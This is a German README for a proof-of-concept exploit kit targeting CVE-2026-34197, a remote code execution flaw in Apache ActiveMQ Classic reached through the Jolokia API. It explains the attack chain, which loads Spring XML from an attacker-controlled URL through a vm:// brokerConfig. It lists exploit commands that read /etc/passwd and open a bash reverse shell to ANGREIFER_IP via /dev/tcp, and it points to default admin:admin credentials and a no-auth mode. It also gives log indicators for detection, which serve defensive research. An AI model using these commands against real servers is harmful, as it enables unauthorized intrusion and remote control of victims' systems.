
Proof-of-Concept-Exploit für CVE-2026-34197, eine RCE in Apache ActiveMQ über die Jolokia-API. Enthält einen Python-Exploit, eine Payload-Vorlage und ein Docker-Labor zum Testen und für Forschungszwecke.
CVE-2026-34197 ist eine Schwachstelle zur Remote-Code-Ausführung (RCE) in Apache ActiveMQ Classic, die es einem Angreifer ermöglicht, beliebige Befehle auf dem Betriebssystem des Servers über die in der Webkonsole exponierte Jolokia-API auszuführen.
Die Schwachstelle existiert seit mehr als 13 Jahren und liegt in der Interaktion zwischen mehreren Komponenten: Jolokia (HTTP-JMX-Brücke), den ActiveMQ-MBeans, den Netzwerk-Connectoren und dem VM-Transport.
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-34197 |
| Typ | RCE (Remote Code Execution) |
| CWE | CWE-20 (Fehlerhafte Eingabevalidierung), CWE-94 (Code-Injection) |
| Betroffene Versionen | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Gepatchte Versionen | 5.19.4, 6.2.3 |
| Authentifizierung erforderlich | Ja (Standard-Anmeldedaten admin:admin häufig) |
| Ohne Authentifizierung in | 6.0.0 — 6.1.1 (durch CVE-2024-32114) |
| Standard-Port | 8161 (Webkonsole) |
Die Angriffskette funktioniert wie folgt:
/api/jolokia/ und ruft die Operation addNetworkConnector des Broker-MBeans auf.vm://, der auf einen nicht existierenden Broker verweist.brokerConfig, der auf eine entfernte URL verweist.xbean: zeigt an, dass die Ressource eine Spring-XML-Konfigurationsdatei ist.Runtime.getRuntime().exec() ausführt.Angreifer ActiveMQ (Opfer)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ANGREIFER/x.xml) |
| |
| |-- Erstellt VM-Broker
| |-- Lädt x.xml herunter
|<-- GET /x.xml --------------------|
|-- Antwortet mit XML-Payload ----->|
| |-- Spring instanziiert Beans
| |-- Runtime.exec(BEFEHL)
| |
CVE-2026-34197/
├── README.md # Diese Datei
├── exploit.py # Haupt-PoC
├── payloads/
│ └── template.xml # Vorlage für den Spring-XML-Payload
├── docker/
│ └── docker-compose.yml # Verwundbare Laborumgebung
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Dies startet ein verwundbares ActiveMQ Classic 5.18.6 auf localhost:8161.
# Grundlegende Verwendung mit Standard-Anmeldedaten
python exploit.py -t http://ZIEL:8161 -l ANGREIFER_IP -c "id"
# Anmeldedaten angeben
python exploit.py -t http://ZIEL:8161 -l ANGREIFER_IP -c "whoami" -u admin -p admin
# Port des lokalen HTTP-Servers für den Payload angeben
python exploit.py -t http://ZIEL:8161 -l ANGREIFER_IP -lp 9999 -c "cat /etc/passwd"
# Modus ohne Authentifizierung (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://ZIEL:8161 -l ANGREIFER_IP -c "id" --no-auth
# Reverse Shell
python exploit.py -t http://ZIEL:8161 -l ANGREIFER_IP -c "bash -i >& /dev/tcp/ANGREIFER_IP/4444 0>&1"
| Parameter | Beschreibung |
|---|---|
-t, --target | Basis-URL des Ziels (z. B. http://10.0.0.1:8161) |
-l, --lhost | IP des Angreifers zum Ausliefern des XML-Payloads |
-lp, --lport | Port des lokalen HTTP-Servers (Standard: 8888) |
-c, --command | Auf dem Ziel auszuführender Befehl |
-u, --user | Benutzer (Standard: admin) |
-p, --password | Passwort (Standard: admin) |
--no-auth | Keine Anmeldedaten senden (für Versionen 6.0.0 - 6.1.1) |
--broker-name | Name des Brokers (Standard: localhost) |
Indikatoren in den Logs des ActiveMQ-Brokers:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Weitere Indikatoren:
/api/jolokia/ mit addNetworkConnector im Bodyvm://-URIs mit brokerConfig=xbean:httpErstellt von KONDOR DEV SECURITY
Dieser PoC wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt. Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Der Autor übernimmt keine Verantwortung für die missbräuchliche Verwendung dieses Tools.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY